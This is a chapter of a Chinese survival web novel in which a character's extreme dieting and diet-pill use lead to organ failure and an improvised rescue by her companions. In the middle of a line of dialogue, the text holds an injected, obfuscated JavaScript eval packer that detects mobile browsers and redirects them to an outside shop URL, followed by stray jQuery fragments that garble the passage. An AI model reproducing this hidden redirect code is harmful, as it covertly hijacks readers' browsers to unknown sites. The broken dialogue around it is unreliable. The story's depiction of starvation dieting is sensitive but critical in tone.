这次的休整时间出奇的久。

    久到向宁差点儿以为她们只是被抓来房车度假的旅客,或是入侵的敌方势力忙于别的更重要的事,将她们忘却了。

    只不过,虽然源于外在的威胁感逐渐减轻,但……

    “蒋艺涵,你要是再减肥的话,我就将你丢出去喂鬼!”

    纪舒闻难得在休息期间与队友厉色,绝大多数的时间里,她都只是安静地靠坐在沙发上想事情,只是偶尔才会和向宁、杨茜就一些问题讨论几句。

    所以,很明显,对于蒋艺涵极端减肥这件事,纪舒闻真的生气了。

    “为什么?我瘦了才好看!女为悦己者容!”蒋艺涵满不在乎地拿着镜子左瞧右瞧,从客厅的体重秤上走下来。

    纪舒闻刚好就在客厅的沙发上,一个侧头就能看见体重秤上的数字。

    想必是一个让她极难理解的数字吧……不然她也不会当着这么多人的面怒斥蒋艺涵。

    “女要先活着才能有悦的本事。”冷冷的音调,彰显着暴风雨前的宁静。

    以向宁对纪舒闻的了解,她现在的状态,已经是在暴走边缘了。

    但若说这辆房车上有谁不怕纪舒闻的话,那蒋艺涵肯定算是独一个。

    就连向宁自己和纪舒闻持反对意见的时候,都要掂量掂量她的情绪,但蒋艺涵不用。

    她除了自己的美貌,别的都不在乎。

    这辆房车确实还算比较合蒋艺涵的意,但要是真的待不下去了,她也可以离开这里,去别的房车。

    总之,天大地大,她蒋艺涵的美貌最大。

    “可是艺涵,你已经很瘦了啊……”周思尔畏惧这种氛围,连忙出来打圆场,“你还那么漂亮,已经没有需要改进的地方了。”

    “哪有,我感觉我再努努力就可以突破35的关卡了,这么多年我都卡在40这儿下不去,还是咱们车好,减肥药特别有效,还不用拉肚子,比我在外面买的好用多了!”

    “你还吃了减肥药?”纪舒闻的这句话几乎是从牙缝里挤出来的。

    “对啊,不然怎么下40?”蒋艺涵坐到纪舒闻的对面,一副理所应当的样子,梗着脖子看向纪舒闻,丝毫不觉得她有什么问题,也没觉得纪舒闻现在正和她生气,甚至还饶有兴趣地推荐纪舒闻也试试。

    “你要不也吃一点儿,特别好用……哎哎哎……你干嘛!轻点儿!”

    纪舒闻一把拽起了蒋艺涵,将她重新丢回秤上,将对面的柜子打开,露出里面的穿衣镜。

    “你仔细看看你自己,到底哪里好看?168的个子现在只有36KG,身上除了皮就是骨头,我只不过略微用了些力气,你连反抗的机会都没有!蒋艺涵,你是在逃生,不是要去选美!”

    今天的蒋艺涵穿了一身挂脖连衣裙,整件衣服都只有一根细细的带子挂着,她的身材被大面积地展示了出来,所有人都能清楚地看清如今的蒋艺涵,到底有多瘦。

    除了骨头,就只剩下了皮。

    视力再好些,可以清楚地看见蒋艺涵皮下的血管在轻微地跳动。

    太瘦了,如果不是有房车的滋补,向宁怀疑,她会被直接饿死。

    可蒋艺涵不觉得,她痴迷地看着镜子里的自己,仿若天神下凡,双手捧着自己的脸,像是在看世间最美的宝石。

    “你真是无可救药了。”纪舒闻转身回了房,她现在看见蒋艺涵就一肚子气。

    “蒋艺涵。”见纪舒闻离开,向宁觉得,她有必要提醒蒋艺涵几句。

    纪舒闻没动手的唯一可能,不过是因为在房车行驶过程中,她们不能随意上下车罢了。

    不然以纪舒闻的脾气,在蒋艺涵的手摸上脸的那一刻,就会直接动手将她丢下去。

    “全身器官衰竭在我们现在的条件下是真的会死人的。”

    向宁站起身,走到蒋艺涵的面前,强硬地掰过她的脸,将她从沉溺中抽回。

    “房车虽然能修补伤口,但不是你以为的像其他房车那样的魔法,它只是单纯地加速了伤口的时间流速。但如果,你因为减肥,追求极度的瘦,而导致器官衰竭,在房车的加速下,你会死得更快。”

    向宁顿了顿,话虽然难听,但这是事实。

    蒋艺涵现在不需要漂亮话,她更需要的是有一个人可以打醒她,但目前,没有这个人存在。

    “如果是带着美丽而死,我没觉得有什么不好。”蒋艺涵毫不在乎地走过向宁,坚定的步伐是她源于内心深处的回答。

    向宁叹了一口气,回头看着一脸担忧的周思尔,摇了摇头。

    她也没办法。

    仿佛是预言一般,两天后,众人正兴致勃勃地吃着胡老师做的早饭,在客厅喝着减肥咖啡的蒋艺涵突然重重地倒在了地上。

    纪舒闻几步就来到了蒋艺涵的身侧,一只手就将看起来只有30KG的蒋艺涵拎到了沙发上。

    和两天前相比,蒋艺涵更瘦了。

    不知道吃了多少减肥药,她现在已经不能用皮包骨来形容了,看那骨头的架势,像是要冲出她薄如蝉翼的皮肤。

    身体的所有器官在一瞬间背叛了她,周思尔慌不迭地抱着一堆药跑了过来。

    “姐你看看那个能用得上,这儿还有吊瓶,你会打针吗?输一些营养液会不会有用?”

    “这里没有完善的监护系统,只能尽量救了。”

    向宁有条不紊地指挥着其他人,纪舒闻正拿着不知道怎么用的机械通气设备为蒋艺涵提供呼吸支持,没时间下决定。

    向宁在心里默了一下顺序和流程,对不对症都要另说了,总之,先把蒋艺涵的这口气吊住。

    “周思尔,找一下血管活性药物维持血压和心输出量,看看有没有肝脏支持的药物。”

    “胡老师。”向宁看向站在最后方没挤进来的胡老师,“您来给她打针,扎错了没关系,鼓包了就抽出来重新扎,她现在的状况不能更坏了。”

    胡老师点点头,沉默地应下了这个任务,带着属于老教师独有的愁容与威严同在的脸,坚定地拿走了周思尔手上的吊瓶,蹲在地上,开始下针。

    “李昭,给房车做一次全面彻底的消毒,她现在的免疫力应该低到惨不忍睹的水平了……”

    “你在犹豫什么?”弄好了呼吸器械的纪舒闻起身询问。

    “没有监测系统,不知道她身体内的电解质有没有紊乱,也不知道她有没有出现感染症状……抗生素之类的药……”

    “那就都用上,其他的交给房车。”纪舒闻替还在犹豫的向宁做出了选择。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790790|206795||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一切的后果都是她盲目减肥导致的,我们已经尽力去救她了,作为一个成年人,她也要为自己承担些代价和责任。药全上着,能不能活下来,就靠她自己了。”

    向宁想了想,点了点头。

    如果药物能在一瞬间取得优势,在房车的加速下,蒋艺涵肯定能活下来。

    但如果衰竭的速度大于药物的作用速度,那在房车的加速下,蒋艺涵的生命力会迅速消逝。

    所以,这是一场源于蒋艺涵自身的赌博。

    赌注,就是她的命。

    杨茜不吃早饭,所以没出来,但开门的时候似乎被这场景稍稍惊到了一下,拿着茶杯的手顺势一转,换成了李昭手里的消毒液。

    “你的用法不对。”

    她淡淡说了一句,然后又将消毒液塞回李昭的手里,整个流程行云流水,李昭直到再次拿回消毒液才反应了过来刚刚都发生了什么。

    她按照杨茜的演示继续消杀,味道难闻又刺鼻。

    杨茜的茶被她倒掉了,刷过杯子后,她走到了向宁身侧。

    “死了吗?”

    “还没。”

    “嗯。”

    没人知道杨茜这个“嗯”是什么意思,一个小型的心电监护正发着微弱的滴滴声,那是蒋艺涵还活着的唯一证明。

    “你们最好祈祷这两天不要突然进任务。”杨茜说话向来难听又精准。

    但这种事,除了祈祷,她们也无可奈何。

    “这两天轮流守着她吧,我们排个班,两两一组。”向宁想了想,刚要准备分配任务,身后,杨茜拽了一下她的衣角。

    “我和你一组。”

    向宁点头应下。

    “那我和思尔一组。”李昭也选定了分组对象。

    向宁看了一眼纪舒闻,发现她并没有异议后,敲定了最终分组,大致定好了看守时间。

    她将胡老师和纪舒闻安排在了早上和下午,那个时间刚好是胡老师的做饭时间,再晚的话,会影响胡老师的休息。

    夜晚的轮值就由她和李昭两组负责,她和杨茜看守前半夜,李昭和周思尔负责后半夜。

    “既然如此,那你们就赶紧回去休息吧。”胡老师立刻明白了向宁的用意,催促着她们回房间。

    “现在就由我和舒闻来,你们放心回去吧。”

    向宁没有推辞,昨晚她和纪舒闻分析之前的任务熬了个通宵,现在正困得不行,既然晚上还要熬夜,她也刚好可以趁着白天补觉。

    闹钟响起来的时候,刚好是晚上八点整。

    向宁迅速起身,用毛巾简单擦了一下脸,就推门去了客厅。

    杨茜已经早早地坐在那里等着了。

    向宁和她坐在一起,随手抽出来的湿巾也没有浪费,将每一根手指都擦了个遍。

    “你找我,想说什么?”

    听着心率监护器的“滴滴”声,向宁没来由地觉得有些郁闷,她下意识地觉得杨茜要和她说的,不会是什么她想听的话。

    果不其然。

    杨茜一改她标志性的茫然,眼底是深不可测的黝黑,聚光、有神。

    她看着躺在对面沙发上的蒋艺涵,歪了歪头,四个极轻的字有如飓风一般,吹得向宁有些头痛。

    “我想离开。”